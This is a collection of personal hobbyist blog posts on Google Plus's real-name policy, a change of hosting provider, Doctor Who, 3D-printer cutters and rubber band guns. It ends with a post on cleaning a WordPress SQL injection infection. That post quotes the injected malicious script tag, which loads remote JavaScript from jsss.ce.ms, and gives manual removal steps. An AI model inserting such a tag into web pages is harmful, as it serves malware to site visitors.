Has Google become evil?

I’m not a fan of Facebook or Google Plus.  However, Google’s new “real name” policy is really getting on my nerves.  My Google Plus account is under the pseudonym of “MakerBlock,” so I might as well save them the trouble of suspending my accounts and just delete it now.

Eric Schmidt recently publicly stated Google Plus isn’t a social networking service, it’s an identity service.  The justification for this position was that Google Plus would be better able to serve us by knowing who we really are as well as ranking downwards those people who really are evil.  But, really, Google’s business is selling advertising to those people most likely to be interested based on their research of those people by studying, on a grand scale, every aspect of their lives. 12

I get that the person who logs into Facebook, MySpace, Twitter, or Google Plus aren’t the real customers, that we’re just the product.  This makes sense and, in some cases, seems a fair trade.  It’s a funny line these businesses must walk, however.  Cater too much to the advertisers, and you lose your audience.  Cater too much to the audience, and perhaps you’ll lose advertisers.  I understand, from a business perspective, wanting to know as much about your users as possible.  But, after a certain point it just gets creepy.

No one was really offended by Facebook’s policies until relatively recently – a few data breaches here, a few account suspensions there.  And then they stopped people from treating the data those people created (or consumed) as portable.  People were fine with Google Plus until Google really started enforcing this position.

I suppose, for me, the fundamental issue may just be respect.  I think Google and Facebook have lost respect for their users.  While their business models clearly require observation of the user, it is the difference between watching animals on a wild life preserve versus watching animals in the zoo.  When those policies start to close in around the user – and they can start to see the high walls and feel like they are being watched – that’s when people start to grumble and leave.

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  1. I really doubt Google would dispute that description. [↩]
  2. Hell, it’s probably in their marketing materials… [↩]

OMG – You guys are back!!!

So, after the ridiculous fiasco with my former hosting company it looked like nearly everyone had abandoned this blog. At least, according to Feedburner.  The Feedburner logo had said there were only 30 or so people who were still subscribed.

Well, let me just say, I’m glad to see you’re back.  I’ve brought back ProfileMaker, which I’m really happy about.  So, hang out, I’ll continue to post more drivel here that isn’t fit for the MakerBot® blog.  :)

T Minus 48 Minutes… Plus another two hours

In 48 minutes the second half of Doctor Who Series 6 begins.  I’m pretty excited about this.  In any case, it will start recording from BBC America at 6pm PST12 , but I won’t be able to start watching it until my daughter goes to bed in another two hours.

I’ve waited a few months, I can wait another few hours.  And, this way I won’t have to watch commercials…

  1. As opposed to 9pm MST [↩]
  2. MakerBot Standard Time [↩]

Have you turned your MakerBot or RepRap into a robo-cutter?

I’m curious – has anyone out there retrofitted their MakerBot Cupcake CNC, MakerBot Thing-O-Matic, or RepRap1 with a cutting device?  I recall seeing an example of someone creating a laser cutter, but I was particularly interested in whether someone had made a cutting device using a blade.

If so, what kinds of blades did you use?  Did you create your own?  Did you use off-the-shelf replacement parts for a commercial robo-cutter?

  1. Or other DIY 3D printer, for that matter [↩]

Amazing Rubber Band Guns

I was just floored by this recent post to the Make blog.  This is the most amazing rubber band gun I’ve ever seen in my life. 1  It genuinely looks like a P90 from Stargate SG-1, including the way in which ammunition is loaded. 2  Even if weren’t for how realistic it looks, the mechanism is still fantastic.  It apparently has a single shot/semi-automatic and fully automatic mode.  Here’s what I can’t believe – that the creator of this magnificent toy thought it necessary to obscure their face in the video.  I would be proud to call this my own.

Since I’m on the topic, this next rubber band gun is also pretty cool.

The websites for the first gun is in Japanese, but the Google translation is pretty decent.  The cut-away pictures show most of how the device works.  Just as a head’s up, the way WordPress handles gallery photos puts all of these pictures into a single gallery even though I uploaded them at different times.  The second gun appears to hold 8 shots and will “auto-return” the gun to its starting position.  Although there are a few pictures of the piece from various angles, I don’t really understand how the auto-return mechanism works.  If you’ve got an idea, I would appreciate your insight.

  1. Link to the video, if you’re tuning in via the RSS feed [↩]
  2. It holds 50 rubber bands! [↩]

Yarr!!! I’m BACK, baby!

The blog?  BACK.

ProfileMaker?  Also BACK by overwhelming popular demand!

New host?  CHECK!!!

As far as I can tell, there are three major drawbacks.  First, the amount of work involved in changing hosts.  That’s a serious freaking pain.  MySQL DB’s, files, and e-mails, oh my.  Second, this theme isn’t working as well as it once did – so the blue lego in the top left corner is gone.  (For now).  Third, there’s still a little weirdness on the admin side of this blog – but don’t you worry, I’ll keep you from ever noticing!

How to clean an “jsss.ce.ms” SQL injection

Well, that was exciting.  Apparently my website had been attached by some kind of SQL injection.  I was curious if my self-hosted WordPress website had been attacked like 4,300 others.  After some digging around, I found that this was not the case.  A scan by UnmaskParasites.com revealed nothing unusual.  However, a scan by Sucuri’s SiteCheck revealed some Javascript malware entries in some posts.

I say “some” posts.  By this I mean 3300 posts and post revisions dating back to the very first blog entry on this website going to as recently as July 13, 2011.  Not including this post, I’ve got 721 published blog entries – with almost all containing this little gem:

<script type=”text/javascript” src=”http://jsss.ce.ms/16″></script><script type=”text/javascript” src=”http://jsss.ce.ms/16″></script>

Here’s what I did to clean this infection:

  • Copy my entire “_posts”  to “_posts2”
  • Copy my entire “_posts” to “_posts3”
  • Downloaded “_posts3” as a CSV
  • Find and replace all instances of the above script in the CSV with “”
  • Deleted the contents of “_posts3”
  • Uploaded the altered CSV into “_posts3”
  • Renamed “_posts” to “_posts1” and “_posts3” to “_posts”
  • Done!

It’s definitely possible to create a little WordPress plugin to clean this kind of an infection out, but there’s little incentive to do so when the manual fix is relatively easy.  If you’ve got this kind of an infection in your site and don’t know how to take care of it, drop me a line.